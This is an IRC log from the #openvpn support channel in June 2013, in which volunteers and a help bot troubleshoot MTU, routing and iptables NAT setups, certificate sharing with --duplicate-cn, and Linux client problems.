06:48 -!- mode/#openvpn [+o plaisthos] by ChanServ
07:42 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
08:11 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:23 -!- fischli [~fischli@data.fischer-ing.de] has left #openvpn []
08:25 -!- master_o1_master [~master_of@p4FF2416B.dip0.t-ipconnect.de] has joined #openvpn
08:28 -!- master_of_master [~master_of@p4FD7BF6A.dip0.t-ipconnect.de] has quit [Ping timeout: 255 seconds]
08:30 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Quit: cjs226]
08:39 -!- WormDude [~wormfood@120.128.2.183] has joined #openvpn
08:43 -!- WormFood [~wormfood@124.42.149.101] has quit [Ping timeout: 256 seconds]
08:49 -!- daniel_- [~daniel_-@unaffiliated/daniel--/x-1801510] has quit [Quit: WeeChat 0.4.1]
09:06 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
09:07 -!- WormDude [~wormfood@120.128.2.183] has quit [Ping timeout: 246 seconds]
09:09 -!- WinstonSmith [~WinstonSm@a95-95-35-108.cpe.netcabo.pt] has joined #openvpn
09:09 -!- WinstonSmith [~WinstonSm@a95-95-35-108.cpe.netcabo.pt] has quit [Changing host]
09:09 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
09:11 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has joined #openvpn
09:15 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 276 seconds]
09:19 -!- WormDude [~wormfood@210.21.240.227] has joined #openvpn
09:20 -!- WinstonSmith [~WinstonSm@a95-95-35-108.cpe.netcabo.pt] has joined #openvpn
09:20 -!- WinstonSmith [~WinstonSm@a95-95-35-108.cpe.netcabo.pt] has quit [Changing host]
09:20 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
09:26 -!- Neal_ [neal@felix.ineal.me] has joined #openvpn
09:31 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
09:34 -!- Mimiko [~Mimiko@host-static-92-114-198-57.moldtelecom.md] has quit []
09:45 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
09:58 -!- thalweg [~quassel@198.211.102.196] has quit [Disconnected by services]
09:58 -!- nlopez_ [~quassel@198.211.102.196] has joined #openvpn
09:58 -!- nlopez_ [~quassel@198.211.102.196] has quit [Client Quit]
10:01 -!- Devastator [~devas@186.214.15.156] has quit [Changing host]
10:01 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
10:05 -!- monk [~aknm@unaffiliated/aknm] has quit [Quit: Leaving]
10:11 -!- raidz_away is now known as raidz
10:15 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
10:15 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
10:15 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
10:22 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:40 -!- mrkiko [~mrkiko@host196-110-dynamic.4-87-r.retail.telecomitalia.it] has joined #openvpn
10:41 < mrkiko> Hi all guys! I have a very strange problem - I'm connected on a network where I have both an ipv4 andf an ipv6 address. Openvpn works fine, except that when I generate a burst of traffic, for example typing "dmesg" in a ssh shell, the connection gets completely stuck.
10:41 < mrkiko> Any idea on what could be wrong?
10:41 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
10:49 <@krzee> could be an MTU issue
10:49 <@krzee> !mtu
10:49 <@vpnHelper> "mtu" is (#1) see --mtu-test to learn how to test your MTU settings. Basically you just use --mtu-test in your normal client config or (#2) mtu debugging guide: http://www.secure-computing.net/wiki/index.php/OpenVPN/Troubleshooting
10:49 <@krzee> !gigabit
10:49 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
10:50 < mrkiko> krzee: thank you!!!
10:51 <@krzee> yw
10:57 -!- mrkiko [~mrkiko@host196-110-dynamic.4-87-r.retail.telecomitalia.it] has left #openvpn []
11:04 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 268 seconds]
11:29 -!- p3rror [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
11:30 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
11:43 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:58 -!- mattock_afk is now known as mattock
12:03 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
12:04 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
12:12 -!- [fred] [fred@konfuzi.us] has joined #openvpn
12:19 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:34 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:35 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
12:42 < altker128> krzee: Thanks again for your help, things are nicely working.
12:42 <@krzee> :) you're welcome
12:42 < altker128> krzee: I do want to make some minor tweaks to that article :)
12:43 <@krzee> to what article?
12:43 < altker128> krzee: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
12:43 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
12:50 <@krzee> touchy subject lol
12:51 <@krzee> what would you change?
12:55 -!- [fred] [~fred@konfuzi.us] has joined #openvpn
12:57 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
12:58 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
12:59 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
13:09 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
13:13 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 246 seconds]
13:22 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
13:30 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
13:37 < altker128> krzee: For the 2nd config, I would just mention two things:  1. Depending on the firewall (i.e. Linksys/D-Link/pfSense, etc) after one adds the static route to make sure no Packet Filtering / Inspection is occuring between the OpenVPN network and the LAN network.  2.  To enable OpenVPN clients to get access to the Internet in addition to removing the '-d <ip>', the users' router/firewall might need an additional rule to enable
13:37 < altker128> routing from 10.8.x.x to the Internet.
13:38 < altker128> That seems quite obvious in retrospect after one thinks about how these things work
13:38 < altker128> But it's a bit salient with some of these "canned" firewall solutions, which no doubt many people are using
13:39 <@krzee> dazo: ping
13:39 <@krzee> ild say give it a go
13:39 <@dazo> krzee: pong
13:40 <@krzee> most of that article came from you so i figured ild ping ya ^
13:40 <@dazo> ahh
13:40  * dazo reads scrollback
13:40 < altker128> dazo: Thanks for that article, it was very helpful.
13:40 <@dazo> altker128: thx!
13:40 < altker128> I should say "very helpful!"
13:40 < altker128> :0
13:40 < altker128> :)
13:41 <@dazo> altker128: I should try to test those configs, so we can remove the disclaimers about not tested :)
13:41 < altker128> dazo: Yes, that's also a good idea.  I'm using the second config, albiet with the two caveats I mentioned above (which I think will help others out too)
13:42 <@dazo> altker128: I'm not necessarily against your suggestion ... I'm just not sure I fully understand what you try to say ...
13:43 <@dazo> After all, it does say:  " If you also want your VPN clients to access the complete Internet, just remove the -d 192.168.0.0/24 part from the first iptables example above. "  (to your #2)
13:44 <@dazo> altker128: Regarding your #1 .... I'm not sure I understand what you say there ....
13:44 < altker128> dazo: For #2, I had to add an additional rule to the firewall to enable routing of the 10.8.x.x out the WAN.  That's encapsulated in the first config with some of the iptables rules , but since your 2nd config doesn't mention router specifics, it's not listed
13:46 <@dazo> Just so I follow you .... you're talking especially about this line, right?
13:46 <@dazo>     iptables -I FORWARD -i tun0 -o eth0 \
13:46 <@dazo>          -s 10.8.0.0/24 -d 192.168.0.0/24 \
13:46 <@dazo>          -m conntrack --ctstate NEW -j ACCEPT
13:46 < altker128> dazo: Regarding #1, my router/firewall (pfSense) by default was doing packet inspection between the static route I added between 10.8.0.0/24 and 192.168.0.100 (IP address of OpenVPN machine) .  There was an option I had to enable to override that default behavior.  I don't think all router/firewalls would do that, but it's not surprising some do.
13:47 <@dazo> altker128: (#1) aha!  Okay, I was not aware of that .... that makes sense to warn about
13:47 < altker128> dazo: So yes that rule if you remove the "-d 192.168.0.0/24" that lets OpenVPN access any destination IP from 10.8.0.0/24 , but in the router, I had to add another rule enabling 10.8.0.0/24 "Internet" access.  That's not surprising at all, just suggesting it gets mentioned
13:48 <@dazo> altker128: ahh, right! Now I follow you ... it's not the openvpn server which is the issue, but the firewall/router
13:48 < altker128> Exactly!
13:48 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
13:49 < altker128> For both of these caveats they are router/firewall "issues" but obviously when things don't work it can be confusing why.  A few pointers I don't think hurt.
13:49 <@dazo> altker128: yeah, go ahead and update with that info ... for me it makes sense to add it after the info about removing "-d 192.168.0.0/24", as it is related to that topic
13:50 < altker128> dazo: I'd like to mention the SPI on the static route as that comes up, and the extra firewall rule after you mention the -d .  Is that an acceptable organization?
13:50 <@dazo> that makes very much sense to me :)
13:50 <@dazo> thx a lot, altker128!
13:50 < altker128> Great!
13:51 < altker128> That guide is really helpful and I'm happy to chip in.  Appreciate everyone here's help and input.
14:00 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 246 seconds]
14:01 <@dazo> If I get time this summer, I'm considering to write a similar article on configuring the connection parameters and encryption stuff ... and the routing part is already done in this one ... and then glue it all together somehow as a new howto
14:01 <@dazo> The currently official howto is really a valuable source, but for newcomers it may be a bit overwhelming
14:09 -!- erry is now known as tt_is_purple
14:09 -!- tt_is_purple is now known as erry
14:16 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
14:16 -!- mode/#openvpn [+v s7r] by ChanServ
14:30 -!- kim0 [c5238eae@ubuntu/member/kim0] has joined #openvpn
14:31 < kim0> Hi folks, help needed. I just upgraded to 2.3.1 and suddenly connections are failing with ==> bad source address from client [fe80::81a1:9321:fdf6:c460], packet dropped
14:32 < kim0> I assume ipv6 is being inserted in packet as source address, and that is being refused somehow .. how can I disable ipv6 in openvpn or revert to the old behavior please ?
14:32 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 256 seconds]
14:32 <@krzee> those packets are being dropped, but others are not
14:32 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
14:32 <@krzee> some app running on your system thought it would be cool to send packets out with that src addy
14:33 <@krzee> openvpn complains and drops them
14:33 < kim0> krzee: the openvpn connection is not establishing .. some clients are able to connect, while other clients are totally not able to connect
14:33 <@krzee> apps sending traffic with a src address openvpn knows about (ovpn ip or any in --iroute) are not being dropped
14:33 < pekster> That's not related to your IPv6 bad source address
14:33 <@krzee> right, the error you posted is a red herring'
14:33 < pekster> Windows in particular has a very bad track record of using bogus addresses, even over IPv4
14:33 <@krzee> theres another problem somewhere
14:35 < kim0> hmm
14:39 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
14:55 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
14:56 -!- ade_b [~Ade@82.152.186.213] has joined #openvpn
14:56 -!- ade_b [~Ade@82.152.186.213] has quit [Changing host]
14:56 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
15:00 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
15:00 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 240 seconds]
15:01 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:02 -!- dazo is now known as dazo_afk
15:14 -!- ade_b [~Ade@ovirt.cassiopia.net] has joined #openvpn
15:14 -!- ade_b [~Ade@ovirt.cassiopia.net] has quit [Changing host]
15:14 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
15:22 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
15:27 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
15:28 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
15:29 -!- nikkiheat2 [~nikkiheat@133.244.sfcn.org] has joined #openvpn
15:29 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 276 seconds]
15:30 -!- nikkiheat2 [~nikkiheat@133.244.sfcn.org] has quit [Client Quit]
15:30 < lamba> back =) from yesterday: is there a way to have both a shared certificate for multiple clients, and still enforce host-specific ones ? (i.e: it has to be host specific unless it's the shared one).
15:31 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Remote host closed the connection]
15:34 < pekster> lamba: So you want some certs to be allowed to connect concurrently, but not others?
15:35 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
15:36 < pekster> If that's your goal, you'd need some clever logic in a --client-connect script (to disallow or kick off an existing session from that user) in addition to the --duplicate-cn option
15:36 < pekster> Remember that certs aren't "host-specific", they're just certs
15:48 < lamba> ah. i thought there was something you could do to tie the certificate to the hostname.. i was wondering how that'd help as you can change the hostname, but perhaps i misnuderstood and it's more just you can ensure every cert has to be unnique
15:48 < lamba> but yea, i want one shared cert and all others unique. - i have puppet to pass out host specific certificates, but to get to our puppet you need to be on openvpn in the first place (doh)
15:49 < lamba> this way we can have a bootstrap type certificate
15:49 < lamba> i think (hope) it makes a decent hald way point between automated server builds connecting back in, and the ability to revoke certs in case of a breech
15:50 < pekster> Except the "shared cert" you've helpfully pushed to all your systems can connect in anyway
15:50 < pekster> But that's not really openvpn's problem
15:50 < lamba> yeah, but i'd revoke that also.
15:51 < pekster> Sure. I don't really get your usecase, but that's not important to answer your original question. When you want to enforce a high-level requirement like that "some of the time", you need scriptable logic to do it
15:52 < lamba> ok ;-) i'll look into --client-connect. Am i right in the hostname/cn thing ? you can't be 100% sure somehow the cert from the host is the right one, correct ? (not an issue i think here, but it helps me understand a little)
16:05 -!- kim0 [c5238eae@ubuntu/member/kim0] has quit [Quit: Page closed]
16:09 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has quit [Quit: cjs226]
16:13 -!- darkdrgn2k [~darkdrgn2@69-165-131-20.dsl.teksavvy.com] has quit [Ping timeout: 256 seconds]
16:13 -!- darkdrgn2k [~darkdrgn2@69-165-131-20.dsl.teksavvy.com] has joined #openvpn
16:18 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:30 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
16:33 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
16:36 < pekster> lamba: certificates are bound to the holder of the private key (for which the certificate is a signed copy of the corresponding public key, along with identifying information that makes up the "Subject Name" of the cert
16:37 < pekster> Successfully presenting a certificate to a remote peer requires both that the cert be considered valid by the remote peer, and that the local end holds the private key
16:37 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
16:37 < pekster> Any association with a "host" or "user" is a high-level notion that openvpn can't assert
16:57 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
17:04 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
17:05 < lamba> ah, righto. that makes sense =)
17:06 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
17:12 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 246 seconds]
17:13 -!- VunKruz [~hhhh@108-206-230-116.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 246 seconds]
17:17 -!- VunKruz [~hhhh@108-206-230-116.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
17:19 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
17:23 -!- master_o1_master [~master_of@p4FF2416B.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
17:25 -!- master_of_master [~master_of@p4FD7B174.dip0.t-ipconnect.de] has joined #openvpn
17:28 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
17:32 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 255 seconds]
17:40 < lamba> i assume i don't need to worry in --client-connect weather the cert is actually valid or not ? it'd have been checked by then, or checked afterwards - it dosent bypass that step ?
17:41 < lamba> whether*
17:45 -!- Denial [Denial@90.205.133.229] has quit []
17:49 < pekster> Right
17:49 < pekster> These are any additional checks you wish to impose
17:49 < pekster> So, since you want --duplicate-cn (so your "shared" cert can connect) your script must have logic to detect if an already-connected client from the others is actively on; it can then either kill that one, or disallow the second connection
18:04 < lamba> yeah. i've done that. i'm checking the status.log file for the pre-existing cn's. There might be a little timing/race condition there as it seems to take a fair while to write the entry in there when a client connects, but it'll do i think.
18:05 < lamba> still nothing stopping someone ddossing a client off the server, then conneting as them, but if they can do that they've already compromised the key, and hopefully by then i'd have revoked the key anyhow.
18:05 -!- totality [~totality@92.40.254.121.threembb.co.uk] has joined #openvpn
18:06 < totality> hey guys im htitign a major stump int he road jsut setup my openvpn now my open vpon works fien that i setup inside a vps but forsoem reason on my phsyical server masqurade dosent seem to beallowing data to be forwarded pst the server
18:06 < totality> litterally the only thing i can ping is th server ip
18:09 < totality> anyone aroudn really need to get this fixed asap
18:09 < pekster> !goal
18:09 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
18:09 < totality> ingternet over vpn
18:10 < pekster> !redirect
18:10 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
18:10 <@vpnHelper> http://ircpimps.org/redirect.png
18:10 < totality> whtich i got workign fine on my vps
18:10 < totality> btu havign no luck and i done all that nat is setup
18:10 < totality> ipforwardign is setup
18:10 < totality> !nat
18:10 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
18:11 < totality> pekster, all of it is setup as it shoudl be
18:11 < totality> to my knowlage and copious amoutns of reading
18:12 < totality> !linnat
18:12 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
18:12 < pekster> Amazingly, if you managed to read and follow the flowchart at light-speed, then you'd find everything is working as you expect
18:12 < pekster> Since it's apparently not, I'm guessing you didn't read the resources carefully enough
18:13 < totality> most of it was setup by a script i used to setup on my vps with one minor alteration ibnstead of using method 2 on linat i used masqurade
18:14 < totality> ps pekster the flow chart dosen load
18:17 < pekster> Yea, krzee needs to look at that (his host IIRC)
18:17 < totality> brb may dc gunan try with snat method
18:21 -!- totality [~totality@92.40.254.121.threembb.co.uk] has quit [Read error: Connection reset by peer]
18:21 -!- totality [~totality@92.40.254.121.threembb.co.uk] has joined #openvpn
18:21 < totality> nope nto even thats working
18:22 < totality> pekster can i pastebin my server conf and client conf to you and my iptables
18:22 < totality> and see if you can see anythign abti in the air
18:26 < pekster> It can't hurt, although I'm out to dinner
18:33 < totality> what liek right now
18:33 < totality> or soon
18:42 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 248 seconds]
18:49 -!- totality_ [~totality@178-32-59-26.ovh.net] has joined #openvpn
18:52 -!- totality [~totality@92.40.254.121.threembb.co.uk] has quit [Ping timeout: 256 seconds]
18:54 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 255 seconds]
18:55 -!- dizzylizzy [~aubrey@unaffiliated/aubreyr] has joined #openvpn
19:02 < dizzylizzy> Hello. I'm using Debian Sid and GNOME 3.4. I have a VPN service, and my Windows-using roommate can use it no problem and if I use an Ubuntu 12.04 LiveCD I can use it no problem using their speical 12.04 installation script, but I can't seem to get the openvpn service working on Debian, and I was wondering if somebody might have recommendations as to how I might be able to trace the root of the problem
19:02 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
19:04 < dizzylizzy> if I enter the VPN information in the gnome network settings, I try to click it on but it does not activate and does not give me any errors, it simply clicks off.
19:04 < dizzylizzy> I have had luck by entering "openvpn locale.ovpn" Where a sample locale.ovpn is here: http://sprunge.us/AcQc -- then it DOES seem to work, allowing me to enter my username/password at the command line, but only for a few kilobytes if at all before I cannot connect to anything
19:05 < dizzylizzy> No error is given at the command line, it simply reports that everything's functioning perfectly
19:07 < totality_> dizzylizzy, makesure you have network-manager-openvpn installed
19:07 < totality_> assumign your using network manager
19:07 < totality_> whtich if oyur usign gnome chances are you are
19:08 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
19:09 < dizzylizzy> totality_, Yes, that is installed
19:11 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
19:34 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
19:35 -!- raidz is now known as raidz_away
19:37 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 256 seconds]
19:38 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
19:43 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
19:54 -!- totality_ [~totality@178-32-59-26.ovh.net] has quit [Read error: Connection reset by peer]
19:54 -!- totality_ [~totality@178-32-59-26.ovh.net] has joined #openvpn
20:09 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has joined #openvpn
20:10 -!- totality_ [~totality@178-32-59-26.ovh.net] has quit [Ping timeout: 240 seconds]
20:15 < Moonlightning> Where does the Android app store configuration files?
20:28 -!- dizzylizzy [~aubrey@unaffiliated/aubreyr] has quit [Ping timeout: 264 seconds]
20:51 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
20:57 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 246 seconds]
21:02 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
21:08 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
21:14 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
21:31 -!- CEnnis91_ [uid3543@unaffiliated/cennis91] has joined #openvpn
21:32 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-tjkpfrwtipmsmqiw] has quit [Ping timeout: 264 seconds]
21:32 -!- CEnnis91_ [uid3543@unaffiliated/cennis91] has quit [Changing host]
21:32 -!- CEnnis91_ [uid3543@gateway/web/irccloud.com/x-ysianoonjqdvgagm] has joined #openvpn
21:33 -!- CEnnis91_ is now known as CEnnis91
21:40 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 248 seconds]
21:44 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
21:45 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
21:55 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 240 seconds]
22:08 -!- vraa__ [~speed_rac@173.45.222.229] has joined #openvpn
22:10 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:12 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Ping timeout: 256 seconds]
22:13 -!- Devastator- [~devas@186.214.15.156] has joined #openvpn
22:13 -!- Devastator- [~devas@186.214.15.156] has quit [Changing host]
22:13 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
22:13 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
22:14 -!- Devastator- is now known as Devastator
22:22 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
22:24 -!- Cyrax [~Cyrax@190.89-11-158.nextgentel.com] has joined #openvpn
22:25 < Cyrax> Hi all. got a question.. I've downloaded openvpn and those bundles.. but when i try open bundles with openvpn,the bundle i choose won't load into openvpn.. why not?
22:29 < Poster> did you read the documentation and setup client and server configurations?
22:29 < Cyrax> i did.. but still same .. idk y.. it did work before
22:30 < Poster> ok give it another shot, bring more detail of what isn't working
22:30 < Poster> the question is entirely too vague to give any help
22:30 < Cyrax> u know those bundles u download to load up into the vpnclient?
22:33 < altker128> What OS?
22:34 < Cyrax> u talking about me? if so,i got windows vista home premium 64 bit
22:54 < Cyrax> Any luck?
22:59 < pekster> No clue about any "bundles" -- best speak to your netadmin if you can't get $someProduct to work. The only official way to get openvpn is:
22:59 < pekster> !download
22:59 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
22:59 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
22:59 < pekster> Also likely relevant to you:
22:59 < pekster> !provider
22:59 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
23:09 < Cyrax> the download link u gave me,isnt the right oen
23:10 < pekster> Yes, yes it is
23:11 < pekster> http://openvpn.net/index.php/download/community-downloads.html is the *only* place to get the official OpenVPN program. Any other link is either a mirror or, more likely, something completely different (that may or may not be using an official openvpn behind the scenes)
23:11 <@vpnHelper> Title: Community Downloads (at openvpn.net)
23:12 < Cyrax> then how do i use it? cuz the one i used,i used some kind of bundles
23:13 < pekster> That depends greatly on what you're attempting to do. The offical howto will get you started creating a server and client that openvpn can create a secure link between
23:13 < pekster> !howto
23:13 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
23:15 < Cyrax> its kind og a way to get unbanned on a game called minecraft.... its for games.. idk how to explain.. but thats the best way i cna explain
23:15 < pekster> !provider
23:15 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
23:16 < pekster> If you're looking for a glorified proxy, openvpn is 1) not the only "proxy" method, and 2) not really what you want
23:17 < Cyrax> exactly.. its proxy. the openvpn i used i had to open some kind of bundle with openvpn.. it had status,settings
23:17 < pekster> Not our problem
23:17 < pekster> Go whine to your "bundle maker"
23:17 < pekster> (and if they didn't give you a proper GPL license when you installed it, then they're in violation of the GPL and distributing illegal copies)
23:17 < Cyrax> thanks for the great help.. i check more
23:18 -!- Cyrax [~Cyrax@190.89-11-158.nextgentel.com] has left #openvpn []
23:18 < pekster> If they did, congrats to them, but we're not here to act as free suppo...
23:20 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
--- Day changed Tue Jun 25 2013
00:18 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has quit [Read error: Operation timed out]
00:19 -!- kolaman [~imran@202.142.173.22] has joined #openvpn
00:19 < kolaman> hi all, is there any good webui for openvpn, openvpn-as is great but only for two concurrent users
00:20 < kolaman> and I need a free one
00:23 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
00:28 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 256 seconds]
00:30 <+hazardous> consider paying for openvpn-as
00:37 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:57 -!- monk [~aknm@196.14.139.96] has joined #openvpn
00:57 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
00:57 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
00:59 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
01:05 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 240 seconds]
01:06 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-oyjyvfdhfhagqshq] has quit [Ping timeout: 260 seconds]
01:13 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
01:15 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
01:17 -!- mitz_ [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:23 < kolaman> hazardous: we a few students at University want to use this stuff (paying would not be a better option in this regard)
01:39 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
02:01 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
02:03 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
02:38 < pppingme> kolaman why the obsession with a gui?
